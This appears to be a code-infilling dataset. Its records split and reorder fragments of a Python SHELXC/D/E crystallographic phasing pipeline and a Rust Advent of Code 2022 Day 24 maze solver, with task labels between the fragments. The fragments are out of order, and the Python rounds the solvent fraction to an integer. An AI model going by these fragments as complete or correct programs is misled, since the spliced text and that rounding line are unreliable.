if line.startswith(' CC(1/2)'): print(line)
os.chdir(best_sg)
########################################################################
### run shelx E functions for best_sg
########################################################################
# Run SHELXE
solvent_frac = 0.5 if matt_coeff is None else matt_coeff.solvent_fraction(
matt_coeff.num_molecules())
# original hand
e_output_ori = simpleSHELXE(args.name,
find,
solvent_frac)
try:
with open(args.name + '.lst') as f:
for line in f.readlines():
if line.startswith('Best trace'): print(line)
except IOError:
pass
# inverse hand
e_output_inv = simpleSHELXE(args.name,
find,
solvent_frac,
inverse_hand=True)
try:
with open(args.name + '_i.lst') as f:
for line in f.readlines():
if line.startswith('Best trace'): print(line)
except IOError:
pass
| raise RuntimeError('Need to specify the path to the xia2 processing directory') | conditional_block |
simple_xia2_to_shelxcde_new.py | #!/bin/env python3
import argparse
import fileinput
import sys
import shutil
import os
import procrunner
import gemmi
import re
from xia2_json_reader import xia2_json_reader
from mtz_data_object import MtzData
from seq_data_object import SeqData
from matth_coeff_function_object import MattCoeff, matt_coeff_factory
from generate_possible_spacegroups import generate
from multiprocessing import Pool, Process
def simpleSHELXC(name, cell, wavelengths, sg, find, ntry=1000):
print("SHELXC")
print("======")
cell_round = tuple(map(lambda x: isinstance(x, float) and round(x, 2) or x, cell))
keywords = []
for w in wavelengths:
label = w['label']
sca = os.path.relpath(w['sca'])
keywords.append("{0} {1}\n".format(label, sca))
keywords.append("CELL {} {} {} {} {} {}\n".format(*cell_round))
keywords.append("SPAG {0}\n".format(sg))
keywords.append("FIND {0}\n".format(find))
keywords.append("NTRY {0}\n".format(ntry))
result = procrunner.run(["shelxc", name],
stdin="".join(keywords).encode('utf-8'),
print_stdout=True)
# for w in wavelengths:
# label = w["name"]
# sca = os.path.relpath(w['sca'])
#
# keywords_shelxc = """{0} {1}
#CELL {2} {3} {4} {5} {6} {7}
#SPAG {8}
#FIND {9}
#NTRY {10}
#"""
# fmt = (label,) + (sca,) + cell_round + (sg,) + (find,) + (ntry,)
# keywords = keywords_shelxc.format(*fmt)
# print(keywords)
# print(keywords.encode("utf-8"))
#
# result = procrunner.run(["shelxc", name],
# stdin=keywords.encode("utf-8"),
# print_stdout=True)
return result
def simpleSHELXD(name):
print("SHELXD")
print("======")
# check required file exists
fa = name + '_fa'
if not os.path.exists(fa + '.ins'):
raise RuntimeError('Could not find {0}'.format(fa + '.ins'))
else:
with open('%s.ins' %fa) as f:
s = f.read()
s = s.replace('SEED 1', 'SEED 42')
with open('%s.ins' %fa, 'w') as f:
f.write(s)
f.close()
result = procrunner.run(["shelxd", fa])
#print_stdout=False)
return result
def simpleSHELXE(name, find, solvent_frac=0.5, inverse_hand=False):
|
# cmd = "/dls_sw/apps/shelx/64/2017-1/shelxe {0} {1} -s{2} -m200 -h{3} -z{3} -e1".format(name, fa, solvent_frac, find)
#below is original line which is not used for this run
#cmd = "/dls_sw/apps/shelx/64/2017-1/shelxe {0} {1} -s{2} -m -h{3} -z{3} -a5 -q".format(name, fa, solvent_frac, find)
#cmd = "shelxe {0} {1} -s{2} -m0 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#NO solvent and initial phases
#cmd = "shelxe {0} {1} -s{2} -h{3} -z{3} ".format(name, fa, solvent_frac, find)#solvent and initial phases
#cmd = "shelxe {0} {1} -s{2} -m20 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#solvent flattening
#cmd = "shelxe {0} {1} -s{2} -m200 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#more solvent flattening
#cmd = "shelxe {0} {1} -s{2} -m200 -h{3} -z{3} -e1".format(name, fa, solvent_frac, find)#solvent flattening and free-lunch algorithm
def copy_sca_locally(wavelengths):
'''Copy .sca files locally to work around problem at DLS where SHELX fails
to find the files'''
for w in wavelengths:
f = os.path.basename(w['sca'])
shutil.copy(w['sca'], '.')
w['sca'] = os.path.abspath(f)
return wavelengths
if __name__ == '__main__':
########################################################################
### receive command line arguments
########################################################################
parser = argparse.ArgumentParser()
parser.add_argument('--name', help='filename stem for SHELX')
parser.add_argument('--xia2dir', help='path to a xia2 processing directory')
parser.add_argument('--seqin', help='name of input sequence file')
parser.add_argument('--atom', help="heavy atom (default to 'Se')")
parser.add_argument('--ntry', help="override ntry for SHELX (default 1000)")
parser.add_argument('--type', help="override SHELXE type (default 'trace')")
args = parser.parse_args()
if args.name is None:
raise RuntimeError('Need to specify a filename stem for SHELX')
if args.xia2dir is None:
raise RuntimeError('Need to specify the path to the xia2 processing directory')
else:
if not os.path.exists(args.xia2dir):
raise RuntimeError('%s does not exist' % args.xia2dir)
if args.atom is None:
print("Defaulting to --atom Se")
args.atom = "Se"
if args.ntry is None:
print("Defaulting to --ntry 1000")
args.ntry = 1000
########################################################################
### find xia2.json and extract information
########################################################################
# Find xia2.json
xia2json = os.path.join(args.xia2dir, 'xia2.json')
if not os.path.exists(xia2json):
raise RuntimeError('%s does not exist' % xia2json)
# Extract data from xia2.json
xia2_dat = xia2_json_reader(xia2json)
########################################################################
### get xia2 point group and create list of possible space groups
########################################################################
# determine spacegroups for pointgroup
space_groups = generate(gemmi.SpaceGroup(xia2_dat.sg_name))
########################################################################
### copy SCA file locally
########################################################################
# copy .sca files locally and update the wavelengths dictionary
wl = copy_sca_locally(xia2_dat.wavelengths)
########################################################################
### identify experimental phasing wavelengths
########################################################################
# Try to identify the wavelengths given the chosen scatterer
xia2_dat.identify_wavelengths(args.atom)
########################################################################
### find scaled MTZ file
########################################################################
# Find scaled mtz
scaled_mtz = xia2_dat.scaled_mtz
########################################################################
### use Matthews coefficient and sequence to get number of sites
### to look for
########################################################################
# If we have the sequence, make SeqData and MattCoeff objects to calculate various
# quantities
find = 10
if args.seqin is None:
seqdata = None
matt_coeff = None
#num_molecules = None
print("No sequence supplied. The number of sites will default to 10")
else:
seqdata = SeqData(args.seqin)
num_met = seqdata.num_methionin()
print("Num Met: ", num_met)
matt_coeff = matt_coeff_factory(scaled_mtz, args.seqin)
# Set 'find' if SeMet
if args.atom.upper() == "SE":
find = matt_coeff.num_molecules() * seqdata.num_methionin()
else:
print("Sequence supplied, but the scatterer is not Se, so the number of "
"sites will default to 10 anyway")
########################################################################
### get working directory
########################################################################
cwd = os.path.normpath(os.getcwd())
########################################################################
### create sub-directories for each space group and create lists to
### monitor phasing results
########################################################################
cfom = []
c_output = []
for sg in space_groups:
sg_str = str(sg)
sg_str = str(sg_str).strip('<gemmi.SpaceGroup("')
sg_str = str(sg_str).strip('")>')
sg_str = "".join(sg_str.split())
print("Trying {0} \n".format(sg_str))
os.chdir(cwd)
if "(" in sg_str:
pass
elif "a" in sg_str:
pass
else:
if not os.path.exists(sg_str):
os.mkdir(sg_str)
os.chdir(sg_str)
########################################################################
### run shelx C and D functions
########################################################################
# Run SHELXC
c_output.append(simpleSHELXC(args.name,
xia2_dat.cell,
wl,
sg_str,
find,
args.ntry))
#print(c_output)
# Run SHELXD
d_output = simpleSHELXD(args.name)
# Get CFOM from .res
try:
with open(args.name + '_fa.res', "r") as f:
for line in f:
if "SHELXD" in line:
cfom.append(float(line.split()[-1]))
except IOError:
cfom.append(0)
os.chdir(cwd)
best_idx = cfom.index(max(cfom))
print("Best index", best_idx)
best_sg = str(space_groups[best_idx]).strip('<gemmi.SpaceGroup("')
best_sg = str(best_sg).strip('")>')
best_sg = "".join(best_sg.split())
print("Best sg", best_sg)
print("Best space group: %s with CFOM=%s" %(str(best_sg),
str(cfom[best_idx])))
print(c_output[best_idx])
c_output = c_output[best_idx]
for line in c_output:
if line.startswith(' Resl'): print(line)
if line.startswith(' <d"/sig>'): print(line)
if line.startswith(' CC(1/2)'): print(line)
os.chdir(best_sg)
########################################################################
### run shelx E functions for best_sg
########################################################################
# Run SHELXE
solvent_frac = 0.5 if matt_coeff is None else matt_coeff.solvent_fraction(
matt_coeff.num_molecules())
# original hand
e_output_ori = simpleSHELXE(args.name,
find,
solvent_frac)
try:
with open(args.name + '.lst') as f:
for line in f.readlines():
if line.startswith('Best trace'): print(line)
except IOError:
pass
# inverse hand
e_output_inv = simpleSHELXE(args.name,
find,
solvent_frac,
inverse_hand=True)
try:
with open(args.name + '_i.lst') as f:
for line in f.readlines():
if line.startswith('Best trace'): print(line)
except IOError:
pass
| fa = name + '_fa'
solvent = "-s{0}".format(round(solvent_frac), 4)
m_value = "-m"
h_value = "-h{0}".format(find)
z_value = "-z{0}".format(find)
msg = "SHELXE - {0} hand"
if not inverse_hand:
msg = msg.format("original")
print(msg)
print("=" * len(msg))
result = procrunner.run(["shelxe",
name,
fa,
solvent,
m_value,
h_value,
z_value,
"-a5",
"-q"])
#print_stdout=True)
if inverse_hand:
msg = msg.format("inverse")
print(msg)
print("=" * len(msg))
result = procrunner.run(["shelxe",
name,
fa,
solvent,
m_value,
h_value,
z_value,
"-a5",
"-q",
"-i"])
#print_stdout=True)
# check required files exist
if not os.path.exists(fa + '.ins'):
raise RuntimeError('Could not find {0}'.format(fa + '.ins'))
return result
#fix to use newer shelxe; use line below when CCP4 has been updated | identifier_body |
simple_xia2_to_shelxcde_new.py | #!/bin/env python3
import argparse
import fileinput
import sys
import shutil
import os
import procrunner
import gemmi
import re
from xia2_json_reader import xia2_json_reader
from mtz_data_object import MtzData
from seq_data_object import SeqData
from matth_coeff_function_object import MattCoeff, matt_coeff_factory
from generate_possible_spacegroups import generate
from multiprocessing import Pool, Process
def simpleSHELXC(name, cell, wavelengths, sg, find, ntry=1000):
print("SHELXC")
print("======")
cell_round = tuple(map(lambda x: isinstance(x, float) and round(x, 2) or x, cell))
keywords = []
for w in wavelengths:
label = w['label']
sca = os.path.relpath(w['sca'])
keywords.append("{0} {1}\n".format(label, sca))
keywords.append("CELL {} {} {} {} {} {}\n".format(*cell_round))
keywords.append("SPAG {0}\n".format(sg))
keywords.append("FIND {0}\n".format(find))
keywords.append("NTRY {0}\n".format(ntry))
result = procrunner.run(["shelxc", name],
stdin="".join(keywords).encode('utf-8'),
print_stdout=True)
# for w in wavelengths:
# label = w["name"]
# sca = os.path.relpath(w['sca'])
#
# keywords_shelxc = """{0} {1}
#CELL {2} {3} {4} {5} {6} {7}
#SPAG {8}
#FIND {9}
#NTRY {10}
#"""
# fmt = (label,) + (sca,) + cell_round + (sg,) + (find,) + (ntry,)
# keywords = keywords_shelxc.format(*fmt)
# print(keywords)
# print(keywords.encode("utf-8"))
#
# result = procrunner.run(["shelxc", name],
# stdin=keywords.encode("utf-8"),
# print_stdout=True)
return result
def simpleSHELXD(name):
print("SHELXD")
print("======")
# check required file exists
fa = name + '_fa'
if not os.path.exists(fa + '.ins'):
raise RuntimeError('Could not find {0}'.format(fa + '.ins'))
else:
with open('%s.ins' %fa) as f:
s = f.read()
s = s.replace('SEED 1', 'SEED 42')
with open('%s.ins' %fa, 'w') as f:
f.write(s)
f.close()
result = procrunner.run(["shelxd", fa])
#print_stdout=False)
return result
def simpleSHELXE(name, find, solvent_frac=0.5, inverse_hand=False):
fa = name + '_fa'
solvent = "-s{0}".format(round(solvent_frac), 4)
m_value = "-m"
h_value = "-h{0}".format(find)
z_value = "-z{0}".format(find)
msg = "SHELXE - {0} hand"
if not inverse_hand:
msg = msg.format("original")
print(msg)
print("=" * len(msg))
result = procrunner.run(["shelxe",
name,
fa,
solvent,
m_value,
h_value,
z_value,
"-a5",
"-q"])
#print_stdout=True)
if inverse_hand:
msg = msg.format("inverse")
print(msg)
print("=" * len(msg))
result = procrunner.run(["shelxe",
name,
fa,
solvent,
m_value,
h_value,
z_value,
"-a5",
"-q",
"-i"])
#print_stdout=True)
# check required files exist
if not os.path.exists(fa + '.ins'):
raise RuntimeError('Could not find {0}'.format(fa + '.ins'))
return result
#fix to use newer shelxe; use line below when CCP4 has been updated
# cmd = "/dls_sw/apps/shelx/64/2017-1/shelxe {0} {1} -s{2} -m200 -h{3} -z{3} -e1".format(name, fa, solvent_frac, find)
#below is original line which is not used for this run
#cmd = "/dls_sw/apps/shelx/64/2017-1/shelxe {0} {1} -s{2} -m -h{3} -z{3} -a5 -q".format(name, fa, solvent_frac, find)
#cmd = "shelxe {0} {1} -s{2} -m0 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#NO solvent and initial phases
#cmd = "shelxe {0} {1} -s{2} -h{3} -z{3} ".format(name, fa, solvent_frac, find)#solvent and initial phases
#cmd = "shelxe {0} {1} -s{2} -m20 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#solvent flattening
#cmd = "shelxe {0} {1} -s{2} -m200 -h{3} -z{3} ".format(name, fa, solvent_frac, find)#more solvent flattening
#cmd = "shelxe {0} {1} -s{2} -m200 -h{3} -z{3} -e1".format(name, fa, solvent_frac, find)#solvent flattening and free-lunch algorithm
| shutil.copy(w['sca'], '.')
w['sca'] = os.path.abspath(f)
return wavelengths
if __name__ == '__main__':
########################################################################
### receive command line arguments
########################################################################
parser = argparse.ArgumentParser()
parser.add_argument('--name', help='filename stem for SHELX')
parser.add_argument('--xia2dir', help='path to a xia2 processing directory')
parser.add_argument('--seqin', help='name of input sequence file')
parser.add_argument('--atom', help="heavy atom (default to 'Se')")
parser.add_argument('--ntry', help="override ntry for SHELX (default 1000)")
parser.add_argument('--type', help="override SHELXE type (default 'trace')")
args = parser.parse_args()
if args.name is None:
raise RuntimeError('Need to specify a filename stem for SHELX')
if args.xia2dir is None:
raise RuntimeError('Need to specify the path to the xia2 processing directory')
else:
if not os.path.exists(args.xia2dir):
raise RuntimeError('%s does not exist' % args.xia2dir)
if args.atom is None:
print("Defaulting to --atom Se")
args.atom = "Se"
if args.ntry is None:
print("Defaulting to --ntry 1000")
args.ntry = 1000
########################################################################
### find xia2.json and extract information
########################################################################
# Find xia2.json
xia2json = os.path.join(args.xia2dir, 'xia2.json')
if not os.path.exists(xia2json):
raise RuntimeError('%s does not exist' % xia2json)
# Extract data from xia2.json
xia2_dat = xia2_json_reader(xia2json)
########################################################################
### get xia2 point group and create list of possible space groups
########################################################################
# determine spacegroups for pointgroup
space_groups = generate(gemmi.SpaceGroup(xia2_dat.sg_name))
########################################################################
### copy SCA file locally
########################################################################
# copy .sca files locally and update the wavelengths dictionary
wl = copy_sca_locally(xia2_dat.wavelengths)
########################################################################
### identify experimental phasing wavelengths
########################################################################
# Try to identify the wavelengths given the chosen scatterer
xia2_dat.identify_wavelengths(args.atom)
########################################################################
### find scaled MTZ file
########################################################################
# Find scaled mtz
scaled_mtz = xia2_dat.scaled_mtz
########################################################################
### use Matthews coefficient and sequence to get number of sites
### to look for
########################################################################
# If we have the sequence, make SeqData and MattCoeff objects to calculate various
# quantities
find = 10
if args.seqin is None:
seqdata = None
matt_coeff = None
#num_molecules = None
print("No sequence supplied. The number of sites will default to 10")
else:
seqdata = SeqData(args.seqin)
num_met = seqdata.num_methionin()
print("Num Met: ", num_met)
matt_coeff = matt_coeff_factory(scaled_mtz, args.seqin)
# Set 'find' if SeMet
if args.atom.upper() == "SE":
find = matt_coeff.num_molecules() * seqdata.num_methionin()
else:
print("Sequence supplied, but the scatterer is not Se, so the number of "
"sites will default to 10 anyway")
########################################################################
### get working directory
########################################################################
cwd = os.path.normpath(os.getcwd())
########################################################################
### create sub-directories for each space group and create lists to
### monitor phasing results
########################################################################
cfom = []
c_output = []
for sg in space_groups:
sg_str = str(sg)
sg_str = str(sg_str).strip('<gemmi.SpaceGroup("')
sg_str = str(sg_str).strip('")>')
sg_str = "".join(sg_str.split())
print("Trying {0} \n".format(sg_str))
os.chdir(cwd)
if "(" in sg_str:
pass
elif "a" in sg_str:
pass
else:
if not os.path.exists(sg_str):
os.mkdir(sg_str)
os.chdir(sg_str)
########################################################################
### run shelx C and D functions
########################################################################
# Run SHELXC
c_output.append(simpleSHELXC(args.name,
xia2_dat.cell,
wl,
sg_str,
find,
args.ntry))
#print(c_output)
# Run SHELXD
d_output = simpleSHELXD(args.name)
# Get CFOM from .res
try:
with open(args.name + '_fa.res', "r") as f:
for line in f:
if "SHELXD" in line:
cfom.append(float(line.split()[-1]))
except IOError:
cfom.append(0)
os.chdir(cwd)
best_idx = cfom.index(max(cfom))
print("Best index", best_idx)
best_sg = str(space_groups[best_idx]).strip('<gemmi.SpaceGroup("')
best_sg = str(best_sg).strip('")>')
best_sg = "".join(best_sg.split())
print("Best sg", best_sg)
print("Best space group: %s with CFOM=%s" %(str(best_sg),
str(cfom[best_idx])))
print(c_output[best_idx])
c_output = c_output[best_idx]
for line in c_output:
if line.startswith(' Resl'): print(line)
if line.startswith(' <d"/sig>'): print(line)
if line.startswith(' CC(1/2)'): print(line)
os.chdir(best_sg)
########################################################################
### run shelx E functions for best_sg
########################################################################
# Run SHELXE
solvent_frac = 0.5 if matt_coeff is None else matt_coeff.solvent_fraction(
matt_coeff.num_molecules())
# original hand
e_output_ori = simpleSHELXE(args.name,
find,
solvent_frac)
try:
with open(args.name + '.lst') as f:
for line in f.readlines():
if line.startswith('Best trace'): print(line)
except IOError:
pass
# inverse hand
e_output_inv = simpleSHELXE(args.name,
find,
solvent_frac,
inverse_hand=True)
try:
with open(args.name + '_i.lst') as f:
for line in f.readlines():
if line.startswith('Best trace'): print(line)
except IOError:
pass | def copy_sca_locally(wavelengths):
'''Copy .sca files locally to work around problem at DLS where SHELX fails
to find the files'''
for w in wavelengths:
f = os.path.basename(w['sca']) | random_line_split |
day24b.rs | #![feature(drain_filter)]
use clap::Parser;
use env_logger::Env;
use log::{debug, info};
use std::cell::Cell;
use std::fmt;
use std::fs::File;
use std::io::{BufRead, BufReader};
/// Advent of Code 2022, Day 24
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
struct Args {
/// Input file to read
input: String,
/// Part of the puzzle to solve
#[arg(short, long, value_parser = clap::value_parser!(u32).range(1..=2))]
part: u32,
}
type MapGrid = Vec<Vec<MapPos>>;
type Position = (usize, usize);
struct MapPos {
blizzards: Vec<char>,
wall: bool,
}
struct Map {
grid: MapGrid,
start: Position,
exit: Position,
player: Cell<Position>, // only used for rendering
}
impl MapPos {
/// Convert a MapPosition to a char, for display purposes.
pub fn to_char(&self) -> char {
let nblizzards = self.blizzards.len();
match (self, nblizzards) {
(MapPos { wall: true, .. }, _) => '#',
(MapPos { wall: false, .. }, 0) => '.',
(MapPos { wall: false, .. }, 1) => self.blizzards[0],
(MapPos { wall: false, .. }, 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) => {
char::from_digit(nblizzards as u32, 10).unwrap()
}
_ => 'X',
}
}
}
impl Map {
/// Create a new empty Map with the specified dimensions.
pub fn empty((nrows, ncols): (usize, usize)) -> Map {
let start = (1, 0);
let exit = (ncols - 2, nrows - 1);
Map {
grid: (0..nrows)
.map(|nrow| {
(0..ncols)
.map(|ncol| MapPos {
blizzards: Vec::new(),
wall: match (ncol, nrow) {
(ncol, nrow) if (ncol, nrow) == start => false,
(ncol, nrow) if (ncol, nrow) == exit => false,
(ncol, _) if (ncol == 0 || ncol == ncols - 1) => true,
(_, nrow) if (nrow == 0 || nrow == nrows - 1) => true,
_ => false,
},
})
.collect::<Vec<MapPos>>()
})
.collect::<MapGrid>(),
start: start,
exit: exit,
player: Cell::new(start),
}
}
/// Create a new empty map with the same dimensions and position as the reference map.
pub fn empty_from(map: &Map) -> Map {
let mut new_map = Map::empty((map.grid.len(), map.grid[0].len()));
new_map.start = map.start;
new_map.exit = map.exit;
new_map
}
/// Read a map from a file.
pub fn from_file(filename: &str) -> Map {
let grid = BufReader::new(File::open(filename).unwrap_or_else(|err| {
panic!("Error opening {filename}: {err:?}");
}))
.lines()
.map(|line| {
line.unwrap()
.chars()
.map(|c| match c.clone() {
'#' => MapPos {
blizzards: Vec::new(),
wall: true,
},
'.' => MapPos {
blizzards: Vec::new(),
wall: false,
},
'>' | '<' | '^' | 'v' => MapPos {
blizzards: Vec::from([c]),
wall: false,
},
_ => panic!("Unknown character encountered while reading map: {c:?}"),
})
.collect::<Vec<MapPos>>()
})
.collect::<MapGrid>();
let start = (1, 0);
let exit = (grid[0].len() - 2, grid.len() - 1);
Map {
grid: grid,
start: start,
exit: exit,
player: Cell::new(start),
}
}
/// Calculates the next blizzard position on the map.
pub fn next_blizzard_pos(&self, colnum: usize, rownum: usize, b: char) -> (usize, usize) {
let (mut colnum_next, mut rownum_next) = (colnum, rownum);
match b {
'>' => {
colnum_next += 1;
if self.grid[rownum_next][colnum_next].wall {
colnum_next = 1;
}
}
'<' => {
colnum_next -= 1;
if self.grid[rownum_next][colnum_next].wall {
colnum_next = self.grid[0].len() - 2;
}
}
'^' => {
rownum_next -= 1;
if self.grid[rownum_next][colnum_next].wall {
rownum_next = self.grid.len() - 2;
}
}
'v' => {
rownum_next += 1;
if self.grid[rownum_next][colnum_next].wall {
rownum_next = 1;
}
}
_ => panic!("Unknown blizzard type encountered in ({colnum}, {rownum}): {b:?}"),
}
(colnum_next, rownum_next)
}
/// Returns the map with the positions of the blizzards on the next minute.
pub fn next_minute(&self) -> Map {
let mut new_map = Map::empty_from(self);
// Populate empty map with blizzards.
self.grid.iter().enumerate().for_each(|(rownum, row)| {
row.iter()
.enumerate()
.filter(|(_colnum, pos)| pos.wall == false && pos.blizzards.len() > 0)
.for_each(|(colnum, pos)| {
pos.blizzards.iter().for_each(|b| {
let (colnum_next, rownum_next) = self.next_blizzard_pos(colnum, rownum, *b);
new_map.grid[rownum_next][colnum_next].blizzards.push(*b);
})
})
});
new_map
}
/// Returns the available positions to move on the map.
pub fn available_moves(&self, start: &Position) -> Vec<Position> {
self.grid
.iter()
.enumerate()
.filter(|(rownum, _row)| {
let rowdist = (*rownum as i32 - start.1 as i32).abs();
rowdist <= 1 // keep adjacent and curent rows
})
.map(|(rownum, row)| {
let rowdist = (rownum as i32 - start.1 as i32).abs();
row.iter()
.enumerate()
.filter(|(colnum, pos)| {
let coldist = (*colnum as i32 - start.0 as i32).abs();
coldist <= 1 // keep adjacent and current columns
&& coldist + rowdist <= 1 // exclude diagonal neighbors
&& !pos.wall // exclude walls
&& pos.blizzards.len() == 0 // exclude positions with blizzards
})
.map(|(colnum, _pos)| (colnum, rownum))
.collect::<Vec<Position>>()
})
.flatten()
.collect::<Vec<Position>>()
}
}
impl fmt::Display for Map {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(
f,
"\n{}",
self.grid
.iter()
.enumerate()
.map(|(rownum, row)| format!(
"{}\n",
row.iter()
.enumerate()
.map(|(colnum, pos)| {
let c = pos.to_char();
match (colnum, rownum) {
(colnum, rownum) if self.player.get() == (colnum, rownum) && c == '.' => '■', // current position
(colnum, rownum) if self.player.get() == (colnum, rownum) && c != '.' => 'E', // indicate error
(colnum, rownum) if self.exit == (colnum, rownum) && c == '.' => '✕', // exit
_ => c,
}
})
.collect::<String>() | }
fn main() {
env_logger::Builder::from_env(Env::default().default_filter_or("info"))
.format_timestamp(None)
.init();
let args = Args::parse();
let nways: usize = match args.part {
1 => 1, // start-exit
2 => 3, // start-exit-start-exit
part @ _ => panic!("Don't know how to run part {part}."),
};
// Read initial map.
let mut minute = 0;
let map = Map::from_file(&args.input);
debug!("\nMinute: {minute}\nMap:{map}");
// The way blizzards propagate, the maps will be periodic.
// The period will be the lowest common multiple of the map width and map height.
let nrows = map.grid.len();
let ncols = map.grid[0].len();
let period = (1..=(ncols * nrows))
.skip_while(|n| n % nrows != 0 || n % ncols != 0)
.next()
.unwrap();
// Compute all possible maps.
let mut maps = Vec::from([map]);
(1..period).for_each(|n| {
let map_prev = &maps[n - 1];
let map = map_prev.next_minute();
maps.push(map);
});
info!("Precomputed {} maps.", maps.len());
// Fully tracking all the possible paths until we reach the exit explodes.
// For this we only keep track of the possible positions at each minute.
//
// Unlike the implementation in day24.rs, here we don't truncate positions
// as soon as we reach the end of a crossing (way) in part 2.
// This is to cover the case where two different paths for the first
// crossing have times T_1 < S_1, but if we continue with the other
// crossings, it will be S_1 + S_2 + S_3 < T_1 + T_2 + T_3.
//
// In the end, it turned out that this didn't matter. But it is not clear
// if this is always the case, or it just happened to be that way for the
// inputs we tried.
let mut all_possible_positions = Vec::<Vec<Position>>::new();
let mut targets = Vec::<Position>::new();
for n in 0..nways {
all_possible_positions.push(Vec::<Position>::new());
targets.push(if n % 2 == 0 { maps[0].exit } else { maps[0].start });
}
all_possible_positions[0].push(maps[0].start);
let mut done = false;
while !done {
minute += 1;
let map = &maps[minute % period];
let npositions: usize = all_possible_positions.iter().map(|w| w.len()).sum();
info!("\nMinute: {minute}\nNumber of possible positions: {npositions}");
// Update positions for all ways.
all_possible_positions = all_possible_positions
.iter()
.enumerate()
.map(|(way, possible_positions)| {
let mut possible_positions = possible_positions
.iter()
.map(|position| map.available_moves(position))
.flatten()
.collect::<Vec<_>>();
// Keeping track of all possible position still isn't enough.
// We need to deduplicate the possible positions to keep things snappy.
// Duplication arises because it is possible to reach the same position
// through different paths in a set amount of time.
possible_positions.sort();
possible_positions.dedup();
// After deduplication, sort possible positions by Manhattan order to
// the exit. This makes the loop termination condition trivial.
let target = targets[way];
possible_positions.sort_by_key(|pos| {
let dx = (target.0 as i32 - pos.0 as i32).abs();
let dy = (target.1 as i32 - pos.1 as i32).abs();
dx + dy
});
if possible_positions.len() > 0 {
let closest = &possible_positions[0];
info!(
"Way: {way}, Positions: {}, Target: {target:?}, Closest position: {closest:?}",
possible_positions.len()
);
}
possible_positions
})
.collect::<Vec<_>>();
// Move positions that reached target to the next way.
let mut removed = Vec::<Position>::new();
for (way, possible_positions) in all_possible_positions.iter_mut().enumerate() {
// Move removed positions from previous way to the current one.
if removed.len() > 0 {
possible_positions.append(&mut removed);
}
// Repopulate removed.
let target = &targets[way];
removed.extend(possible_positions.drain_filter(|pos| pos == target));
// Done, but finish loop first.
if way == nways - 1 && removed.len() > 0 {
done = true;
continue;
}
}
}
info!("Exited after {minute} minutes.");
} | ))
.collect::<String>()
.trim_end()
)
} | random_line_split |
day24b.rs | #![feature(drain_filter)]
use clap::Parser;
use env_logger::Env;
use log::{debug, info};
use std::cell::Cell;
use std::fmt;
use std::fs::File;
use std::io::{BufRead, BufReader};
/// Advent of Code 2022, Day 24
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
struct Args {
/// Input file to read
input: String,
/// Part of the puzzle to solve
#[arg(short, long, value_parser = clap::value_parser!(u32).range(1..=2))]
part: u32,
}
type MapGrid = Vec<Vec<MapPos>>;
type Position = (usize, usize);
struct MapPos {
blizzards: Vec<char>,
wall: bool,
}
struct Map {
grid: MapGrid,
start: Position,
exit: Position,
player: Cell<Position>, // only used for rendering
}
impl MapPos {
/// Convert a MapPosition to a char, for display purposes.
pub fn to_char(&self) -> char |
}
impl Map {
/// Create a new empty Map with the specified dimensions.
pub fn empty((nrows, ncols): (usize, usize)) -> Map {
let start = (1, 0);
let exit = (ncols - 2, nrows - 1);
Map {
grid: (0..nrows)
.map(|nrow| {
(0..ncols)
.map(|ncol| MapPos {
blizzards: Vec::new(),
wall: match (ncol, nrow) {
(ncol, nrow) if (ncol, nrow) == start => false,
(ncol, nrow) if (ncol, nrow) == exit => false,
(ncol, _) if (ncol == 0 || ncol == ncols - 1) => true,
(_, nrow) if (nrow == 0 || nrow == nrows - 1) => true,
_ => false,
},
})
.collect::<Vec<MapPos>>()
})
.collect::<MapGrid>(),
start: start,
exit: exit,
player: Cell::new(start),
}
}
/// Create a new empty map with the same dimensions and position as the reference map.
pub fn empty_from(map: &Map) -> Map {
let mut new_map = Map::empty((map.grid.len(), map.grid[0].len()));
new_map.start = map.start;
new_map.exit = map.exit;
new_map
}
/// Read a map from a file.
pub fn from_file(filename: &str) -> Map {
let grid = BufReader::new(File::open(filename).unwrap_or_else(|err| {
panic!("Error opening {filename}: {err:?}");
}))
.lines()
.map(|line| {
line.unwrap()
.chars()
.map(|c| match c.clone() {
'#' => MapPos {
blizzards: Vec::new(),
wall: true,
},
'.' => MapPos {
blizzards: Vec::new(),
wall: false,
},
'>' | '<' | '^' | 'v' => MapPos {
blizzards: Vec::from([c]),
wall: false,
},
_ => panic!("Unknown character encountered while reading map: {c:?}"),
})
.collect::<Vec<MapPos>>()
})
.collect::<MapGrid>();
let start = (1, 0);
let exit = (grid[0].len() - 2, grid.len() - 1);
Map {
grid: grid,
start: start,
exit: exit,
player: Cell::new(start),
}
}
/// Calculates the next blizzard position on the map.
pub fn next_blizzard_pos(&self, colnum: usize, rownum: usize, b: char) -> (usize, usize) {
let (mut colnum_next, mut rownum_next) = (colnum, rownum);
match b {
'>' => {
colnum_next += 1;
if self.grid[rownum_next][colnum_next].wall {
colnum_next = 1;
}
}
'<' => {
colnum_next -= 1;
if self.grid[rownum_next][colnum_next].wall {
colnum_next = self.grid[0].len() - 2;
}
}
'^' => {
rownum_next -= 1;
if self.grid[rownum_next][colnum_next].wall {
rownum_next = self.grid.len() - 2;
}
}
'v' => {
rownum_next += 1;
if self.grid[rownum_next][colnum_next].wall {
rownum_next = 1;
}
}
_ => panic!("Unknown blizzard type encountered in ({colnum}, {rownum}): {b:?}"),
}
(colnum_next, rownum_next)
}
/// Returns the map with the positions of the blizzards on the next minute.
pub fn next_minute(&self) -> Map {
let mut new_map = Map::empty_from(self);
// Populate empty map with blizzards.
self.grid.iter().enumerate().for_each(|(rownum, row)| {
row.iter()
.enumerate()
.filter(|(_colnum, pos)| pos.wall == false && pos.blizzards.len() > 0)
.for_each(|(colnum, pos)| {
pos.blizzards.iter().for_each(|b| {
let (colnum_next, rownum_next) = self.next_blizzard_pos(colnum, rownum, *b);
new_map.grid[rownum_next][colnum_next].blizzards.push(*b);
})
})
});
new_map
}
/// Returns the available positions to move on the map.
pub fn available_moves(&self, start: &Position) -> Vec<Position> {
self.grid
.iter()
.enumerate()
.filter(|(rownum, _row)| {
let rowdist = (*rownum as i32 - start.1 as i32).abs();
rowdist <= 1 // keep adjacent and curent rows
})
